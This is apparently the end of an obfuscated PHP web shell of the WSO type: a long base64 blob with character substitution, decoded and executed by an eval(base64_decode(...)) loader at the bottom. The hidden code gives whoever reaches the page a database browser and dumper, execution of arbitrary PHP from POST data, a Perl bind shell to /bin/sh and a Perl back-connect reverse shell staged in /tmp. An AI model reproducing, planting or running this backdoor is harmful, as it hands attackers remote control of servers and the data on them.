aDJzdCddKSkgLiInPjwvdGQ+IA0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+IA0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ10pKSAuIic+PC90ZD48dGQ+IjsgDQogICAgJHRtcCA9ICI8NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2IxczUgdjFsMzU9Jyc+IjsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7IA0KICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsgDQogICAgICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsgDQogICAgICAgICAgICAgICAgYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7IA0KICAgICAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRkYi0+bDRzdERicygpOyANCiAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7IA0KICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCkpIHsgDQogICAgICAgICAgICAgICAgbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIDVjaDIgJzwvczVsNWN0Pic7IA0KICAgICAgICB9IA0KICAgICAgICA1bHM1IDVjaDIgJHRtcDsgDQogICAgfTVsczUNCiAgICAgICAgNWNoMiAkdG1wOyANCiAgICA1Y2gyICI8L3RkPiANCiAgDQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c3FsX2MyM250IHYxbDM1PScybiciIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycnOicgY2g1Y2s1ZCcpIC4gIj4gYzIzbnQgdGg1IG4zbWI1ciAyZiByMndzPC90ZD4gDQogICAgICAgICAgICA8L3RyPiANCiAgICAgICAgPC90MWJsNT4gDQogICAgICAgIDxzY3I0cHQ+IA0KICAgICAgICAgICAgc19kYj0nIi5AMWRkc2wxc2g1cygkX1BPU1RbJ3NxbF9iMXM1J10pLiInOyANCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsgDQogICAgICAgICAgICAgICAgNGYoZi5zcWxfYjFzNS52MWwzNSE9c19kYikgeyBmLjJuczNibTR0ID0gZjNuY3Q0Mm4oKSB7fTsgDQogICAgICAgICAgICAgICAgICAgIDRmKGYucDYpIGYucDYudjFsMzU9Jyc7IA0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOyANCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wbykgZi5wby52MWwzNT0nJzsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBmM25jdDQybiBzdCh0LGwpIHsgDQogICAgICAgICAgICAgICAgZC5zZi5wNi52MWwzNSA9ICdzNWw1Y3QnOyANCiAgICAgICAgICAgICAgICBkLnNmLnBhLnYxbDM1ID0gdDsgDQogICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsgDQogICAgICAgICAgICAgICAgZC5zZi5zM2JtNHQoKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZjNuY3Q0Mm4gNHMoKSB7IA0KICAgICAgICAgICAgICAgIGYycig0PTA7NDxkLnNmLjVsNW01bnRzWyd0YmxbXSddLmw1bmd0aDsrKzQpIA0KICAgICAgICAgICAgICAgICAgICBkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIDwvc2NyNHB0PiI7IA0KICAgIDRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsgDQogICAgICAgIDVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7IA0KICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsnc3FsX2IxczUnXSkpeyANCiAgICAgICAgICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjx0cj48dGQgdzRkdGg9NiBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICAkdGJsc19yNXMgPSAkZGItPmw0c3RUMWJsNXMoKTsgDQogICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsgDQogICAgICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOyANCiAgICAgICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7IA0KICAgICAgICAgICAgICAgICAgICAkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7IA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8bjJicj48NG5wM3QgdHlwNT0nY2g1Y2tiMngnIG4xbTU9J3RibFtdJyB2MWwzNT0nIi4kdjFsMzUuIic+Jm5ic3A7PDEgaHI1Zj0jIDJuY2w0Y2s9XCJzdCgnIi4kdjFsMzUuIicsNilcIj4iLiR2MWwzNS4iPC8xPiIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/JyZuYnNwOyc6IiA8c20xbGw+KHskblsnbiddfSk8L3NtMWxsPiIpIC4gIjwvbjJicj48YnI+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48YnI+RjRsNSBwMXRoOjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHYxbDM1PSdkM21wLnNxbCc+PC90ZD48dGQgc3R5bDU9J2IycmQ1ci10MnA6YXB4IHMybDRkICNlZWU7Jz4iOyANCiAgICAgICAgICAgICAgICA0ZihAJF9QT1NUWydwNiddID09ICdzNWw1Y3QnKSB7IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3A2J10gPSAncTM1cnknOyANCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJF9QT1NUWydwbyddPyRfUE9TVFsncG8nXTo2OyANCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnIC4gJF9QT1NUWydwYSddKTsgDQogICAgICAgICAgICAgICAgICAgICRuM20gPSAkZGItPmY1dGNoKCk7IA0KICAgICAgICAgICAgICAgICAgICAkcDFnNXMgPSBjNTRsKCRuM21bJ24nXSAvIG8wKTsgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxzY3I0cHQ+ZC5zZi4ybnMzYm00dD1mM25jdDQybigpe3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICJcIiwgZC5zZi5wby52MWwzNSl9PC9zY3I0cHQ+PHNwMW4+Ii4kX1BPU1RbJ3BhJ10uIjwvc3Axbj4gKHskbjNtWyduJ119IHI1YzJyZHMpIFAxZzUgIyA8NG5wM3QgdHlwNT10NXh0IG4xbTU9J3BvJyB2MWwzNT0iIC4gKCg0bnQpJF9QT1NUWydwbyddKSAuICI+IjsgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwbyddID4gNikgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXS02KSAuICIpJz4mbHQ7IFByNXY8LzE+IjsgDQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXSs2KSAuICIpJz5ONXh0ICZndDs8LzE+IjsgDQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncG8nXS0tOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsgDQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncGEnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncGEnXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3BvJ10qbzApLicsbzAnOyANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIDRmKChAJF9QT1NUWydwNiddID09ICdxMzVyeScpICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7IA0KICAgICAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOyANCiAgICAgICAgICAgICAgICAgICAgNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ0dGw1ID0gZjFsczU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDY7IA0KICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCkpICB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkdDR0bDUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0cj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXM1dCgkNHQ1bSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDR0bDU9dHIzNTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IGE7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9ICRsNG41PT02P2E6NjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYxbDM1ID09IG4zbGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRkPjw0Pm4zbGw8LzQ+PC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOyANCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOyANCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwNiddICE9ICdsMjFkZjRsNScpKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7IA0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdGQ+PC90cj4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7IA0KICAgICAgICAgICAgNGYoJF9QT1NUWyd0eXA1J109PSdteXNxbCcpIHsgDQogICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgiU0VMRUNUIDYgRlJPTSBteXNxbC4zczVyIFdIRVJFIGMybmMxdChgM3M1cmAsICdAJywgYGgyc3RgKSA9IFVTRVIoKSBBTkQgYEY0bDVfcHI0dmAgPSAneSciKTsgDQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPGYycm0gMm5zM2JtNHQ9J2Quc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsgDQogICAgICAgICAgICAgICAgJGY0bDUgPSAkZGItPmwyMWRGNGw1KCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2PicuaHRtbHNwNWM0MWxjaDFycygkZjRsNVsnZjRsNSddKS4nPC9wcjU+JzsgDQogICAgICAgICAgICB9IA0KICAgIH0gNWxzNSB7IA0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKTsgDQogICAgfSANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KZjNuY3Q0Mm4gMWN0NDJuTjV0dzJyaygpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOyANCiAgICAkYjRuZF9wMnJ0X3A9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFEya1UwaEZURXc5STQ5NDFXdXZjYWdnTFdrNE93MEsxV1lnS0VCQlVrZFdJRHdnTVNrZzV5Qmw1R2wwS0RFcE95QjlEUXA2Y2FVZ1VhOWoxYVYwT3cwS2NhOWoxYVYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTZSU1JVRk5MR2RsZEhCeWJvUnZZbmwzWVc2bEtDZDBZb0FuS1NrZ2ZId2daR2xsSUNKRFlXaTBJR055WldGMFpTQnpiYU5yWlhSY2I0STdEUXB6WlhSemJhTnJib0IwS0ZNc1UwOU1YNk5QUTB0RlZDeFRUNjlTUlZWVFJVRkVSRklzTVNrN0RRcDQxV2lrS0ZNc2NhOWoxYUZrWkhKZjFXdTJKRUZTUjZaYk1GMHNTVWlCUkVSU1gwRk9XU2twSUh4OElHUnBaU0E0UWFGM2RDQnZjR1YzSUhCdmNuUmNiNEk3RFFwczFYTjBaV3UyVXl3ektTQjhmQ0JrMVdVZ0lrTmhiblFnYkdsemRHVjNJSEJ2Y25SY2I0STdEUXBvMUdsc1pTZ3hLU0I3RFEySllXTmpaWEIwS0VOUFRrdXNVeWs3RFEySjFXWTJJU2drY0dsa1BXWnZjbXNwS1NCN0RRMkpDV1JwWlNBNFFhRjNibTkwSUdadmNtczRJR2xtSUNnaFpHVm0xV2lsWkNBa2NHbGtLVHNOQ2drSmJvQmxiNEJUVkVSSlQ0dzRQQ1pEVDBpT0lqc05DZ2tKYm9CbGI0QlRWRVJQVlZRc0lqdW1RMDlPVDRJN0RRMkpDVzl3Wld1Z1U2UkVSVkpTTENJK0prTlBUa3U0T3cwS0NRbGw1R1ZqSUNSVFNFVk1UQ0I4ZkNCazFXVWdjSEpwYm5RZ1EwOU9UNEE0UWFGM2RDQmw1R1ZqZFhSbElDUlRTRVZNVEZ4M0lqc05DZ2tKWWF4dmNhVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7IA0KICAgIDVjaDIgIjxoNj5ONXR3MnJrIHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+IA0KICANCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PVwiZyhuM2xsLG4zbGwsJ2JwcCcsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+IA0KICAgIDxzcDFuPkI0bmQgcDJydCB0MiAvYjRuL3NoIFtwNXJsXTwvc3Axbj48YnIvPiANCiAgICBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+IA0KICAgIDwvZjJybT4gDQogICAgPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdiY3AnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPiANCiAgICA8c3Axbj5CMWNrLWMybm41Y3QgIFtwNXJsXTwvc3Axbj48YnIvPiANCiAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0nbzZvbzcnPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz4gDQogIA0KICAgIDwvZjJybT48YnI+IjsgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsgDQogICAgICAgICAgICAkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7IA0KICAgICAgICAgICAgNGYoJHcpeyANCiAgICAgICAgICAgICAgICBAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7IA0KICAgICAgICAgICAgICAgIEBmY2wyczUoJHcpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIDRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYjRuZF9wMnJ0X3ApOyANCiAgICAgICAgICAgICQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwYSddLiIgNj4vZDV2L24zbGwgYT4mNiAmIik7IA0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi53czJFeCgicHMgMTN4IHwgZ3I1cCBicC5wbCIpLiI8L3ByNT4iOyANCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9icC5wbCIpOyANCiAgICAgICAgfSANCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7IA0KICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiMWNrX2Mybm41Y3RfcCk7IA0KICAgICAgICAgICAgJDIzdCA9IHdzMkV4KCJwNXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3BhJ10uIiAiLiRfUE9TVFsncG8nXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOyANCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsgDQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYmMucGwiKTsgDQogICAgICAgIH0gDQogICAgfSANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KZjNuY3Q0Mm4gMWN0NDJuUkMoKSB7IA0KICAgIDRmKCFAJF9QT1NUWydwNiddKSB7IA0KICAgICAgICAkMSA9IDFycjF5KCANCiAgICAgICAgICAgICIzbjFtNSIgPT4gcGhwXzNuMW01KCksIA0KICAgICAgICAgICAgInBocF92NXJzNDJuIiA9PiBwaHB2NXJzNDJuKCksIA0KICAgICAgICAgICAgIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwgDQogICAgICAgICAgICAiczFmNW0yZDUiID0+IEA0bjRfZzV0KCdzMWY1X20yZDUnKSANCiAgICAgICAgKTsgDQogICAgICAgIDVjaDIgczVyNDFsNHo1KCQxKTsgDQogICAgfSA1bHM1IHsgDQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsgDQogICAgfSANCn0gDQo0ZiggNW1wdHkoJF9QT1NUWycxJ10pICkgDQogICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKSANCiAgICAgICAgJF9QT1NUWycxJ10gPSAkZDVmMTNsdF8xY3Q0Mm47IA0KICAgIDVsczUNCiAgICAgICAgJF9QT1NUWycxJ10gPSAnUzVjSW5mMic7IA0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkgDQogICAgYzFsbF8zczVyX2YzbmMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSk7IA0KZjNuY3Q0Mm4gRjV0Y2hVUkwoJDNybCkgeyANCiAgICAgICAgICRjaCA9IGMzcmxfNG40dCgpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICIkY2g1MWQ1ciIpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgNik7IA0KICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgZjFsczUpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICQzcmwpOyANCiAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgNik7IA0KICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIG8wKTsgDQogICAgICAgICAkZDF0MSA9IGMzcmxfNXg1YygkY2gpOyANCiAgICAgICAgIDRmKCEkZDF0MSkgeyANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgICB9IA0KICAgICAgICAgcjV0M3JuICRkMXQxOyANCiAgICAgIH0gDQo1eDR0OyANCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
